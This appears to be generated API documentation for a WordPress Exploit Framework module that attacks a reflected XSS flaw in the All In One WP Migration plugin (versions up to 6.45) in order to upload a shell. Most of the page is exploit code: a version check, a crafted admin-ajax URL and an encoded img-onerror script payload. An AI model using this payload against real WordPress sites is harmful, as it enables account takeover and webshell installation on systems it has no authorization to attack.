class Wpxf::Exploit::AllInOneMigrationReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'All In One WP Migration <= 6.45 Reflected XSS Shell Upload',
    author: [
      '0w4ys',     # Dislosure
      'rastating'  # WPXF module
    ],
    references: [
      ['WPVDB', '8851']
    ],
    date: 'Jun 20 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb, line 22
def check
  check_plugin_version_from_readme('all-in-one-wp-migration', '6.46')
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb, line 30
def url_with_xss
  "#{wordpress_url_admin_ajax}?action=ai1wm_status&secret_key=#{xss_payload}"
end
xss_payload() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb, line 26
def xss_payload
  url_encode("\"}<img src=#{Utility::Text.rand_alpha(5)} onerror=#{xss_ascii_encoded_include_script}><!--")
end